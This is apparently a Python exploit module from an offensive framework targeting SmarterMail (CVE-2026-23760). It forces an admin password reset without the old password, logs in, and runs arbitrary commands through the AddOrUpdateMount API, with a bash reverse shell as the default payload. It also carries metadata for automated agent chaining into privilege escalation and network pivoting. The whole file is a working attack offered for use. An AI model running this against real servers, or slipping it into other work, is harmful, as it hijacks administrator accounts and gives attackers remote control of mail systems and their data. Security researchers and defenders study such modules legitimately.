SmarterMail Auth Bypass and RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.http_login import Http_login
from core.framework.checkcode import Vulnerable
import json


class Module(Exploit, Http_client, Http_login):

    __info__ = {
        "name": "SmarterMail Auth Bypass and RCE",
        "description": "Authentication bypass via force-reset-password (no valid old password required) "
                      "followed by login and RCE via AddOrUpdateMount API. The /api/v1/auth/force-reset-password "
                      "endpoint allows resetting the admin password with an arbitrary old password. After reset, "
                      "login yields an access token. The /api/v1/settings/sysadmin/AddOrUpdateMount endpoint "
                      "accepts commandMount/commandUnmount and executes them, leading to remote code execution.",
        "author": "KittySploit Team",
        "cve": ["2026-23760"],
        "arch": [Arch.X86, Arch.X64],
        "platform": [Platform.UNIX, Platform.LINUX, Platform.WINDOWS],
        "category": "singles",
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "arch": "cmd",
            "platform": ["unix", "linux", "windows"],
            "category": "singles",
        },
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
                                   {'capability': 'shell', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
                                 'post/shell/multi/manage/pivot_autoroute']},
    },
    }

    port = OptPort(17017, "Target port", True)
    ssl = OptBool(False, "SSL enabled: true/false", True, advanced=True)
    command = OptString("", "Command to execute (if not using payload)", required=False)
    mount_path = OptString("ccc", "Mount path for AddOrUpdateMount", required=False)
    client_id = OptString("", "Client ID for login (optional)", required=False)
    new_password = OptString("", "New password for the admin account", required=True)

    def vulnerable(self):
        """Mark target as vulnerable"""
        Vulnerable.SUCCESS()

    def not_vulnerable(self):
        """Mark target as not vulnerable"""
        fail.NotVulnerable()

    def _base_url(self):
        """Build base URL from target, port, ssl."""
        protocol = "https" if self.ssl else "http"
        return f"{protocol}://{self.target}:{self.port}".rstrip("/")

    def _reset_password(self):
        """Force reset password (auth bypass). Uses placeholder old password."""
        url_path = "/api/v1/auth/force-reset-password"
        base = self._base_url()
        payload = {
            "IsSysAdmin": "true",
            "OldPassword": "old_pass",
            "Username": self.username,
            "NewPassword": self.new_password,
            "ConfirmPassword": self.new_password,
        }
        headers = {
            "Accept": "application/json",
            "Content-Type": "application/json;charset=UTF-8",
            "Origin": base,
            "Referer": f"{base}/interface/root",
            "Connection": "close",
        }
        resp = self.http_request(
            method="POST",
            path=url_path,
            data=json.dumps(payload),
            headers=headers,
            allow_redirects=False,
            timeout=self.timeout,
        )
        if not resp:
            raise ValueError("No response from force-reset-password")
        resp.raise_for_status()
        data = resp.json()
        if not data.get("success", False):
            raise ValueError(f"Password reset failed: {data}")
        return data

    def _login(self):
        """Login with username/new_password, return access token."""
        url_path = "/api/v1/auth/authenticate-user"
        base = self._base_url()
        payload = {
            "username": self.username,
            "password": self.new_password,
            "twoFactorCode": "",
            "clientId": self.client_id or "",
        }
        headers = {
            "Accept": "application/json, text/plain, */*",
            "Content-Type": "application/json;charset=UTF-8",
            "Origin": base,
            "Referer": f"{base}/interface/root",
            "Connection": "close",
        }
        resp = self.http_request(
            method="POST",
            path=url_path,
            data=json.dumps(payload),
            headers=headers,
            allow_redirects=False,
            timeout=self.timeout,
        )
        if not resp:
            raise ValueError("No response from authenticate-user")
        resp.raise_for_status()
        data = resp.json()
        if not data.get("success", False):
            raise ValueError(f"Authentication failed: {data}")
        token = data.get("accessToken")
        if not token:
            raise ValueError("No accessToken in login response")
        return token

    def _exp(self, token, command_mount, command_unmount="", use_args=False):
        """Send AddOrUpdateMount RCE payload."""
        url_path = "/api/v1/settings/sysadmin/AddOrUpdateMount"
        base = self._base_url()
        payload = {
            "commandMount": command_mount,
            "commandUnmount": command_unmount,
            "useArgumentsInCommand": use_args,
            "MountPath": self.mount_path,
        }
        headers = {
            "Accept": "application/json",
            "Content-Type": "application/json;charset=UTF-8",
            "Authorization": f"Bearer {token}",
            "Origin": base,
            "Referer": f"{base}/interface/root",
            "Connection": "close",
        }
        resp = self.http_request(
            method="POST",
            path=url_path,
            data=json.dumps(payload),
            headers=headers,
            allow_redirects=False,
            timeout=self.timeout,
        )
        if not resp:
            raise ValueError("No response from AddOrUpdateMount")
        resp.raise_for_status()
        return resp

    def check(self):
        """Check if target runs SmarterMail and API is reachable."""
        try:
            r = self.http_request(method="GET", path="/", allow_redirects=True, timeout=self.timeout)
            if not r:
                return {"vulnerable": False, "reason": "No response", "confidence": "low"}
            text = (r.text or "").lower()
            headers_str = str(r.headers or "").lower()
            if "smartermail" in text or "smartermail" in headers_str:
                return {"vulnerable": True, "reason": "SmarterMail detected", "confidence": "medium"}
            r2 = self.http_request(method="GET", path="/interface/root", allow_redirects=True, timeout=self.timeout)
            if r2 and ("smartermail" in (r2.text or "").lower() or "smartermail" in str(r2.headers or "").lower()):
                return {"vulnerable": True, "reason": "SmarterMail interface detected", "confidence": "medium"}
            return {"vulnerable": False, "reason": "SmarterMail not detected", "confidence": "low"}
        except Exception as e:
            return {"vulnerable": False, "reason": f"Check failed: {e}", "confidence": "low"}

    def run(self):
        """Execute auth bypass + login + AddOrUpdateMount RCE."""
        try:
            print_status("SmarterMail Auth Bypass and RCE")
            print_info(f"Target: {self._base_url()}")

            if self.command:
                command = self.command
            else:
                if not self.payload:
                    print_error("No payload or command specified")
                    print_info("Set payload (e.g. set payload payloads/singles/cmd/unix/bash_reverse_tcp) or use command option")
                    return False
                command = str(self.payload)

            print_info(f"Executing command: {command}")

            self._reset_password()
            print_success("Password reset succeeded")

            token = self._login()
            print_success(f"Logged in, token: {token[:10]}...")

            self._exp(token, command_mount=command, command_unmount="", use_args=False)
            print_success("Exploit sent successfully")

            self.vulnerable()
            return True

        except Exception as e:
            print_error(f"Exploitation failed: {e}")
            self.not_vulnerable()
            return False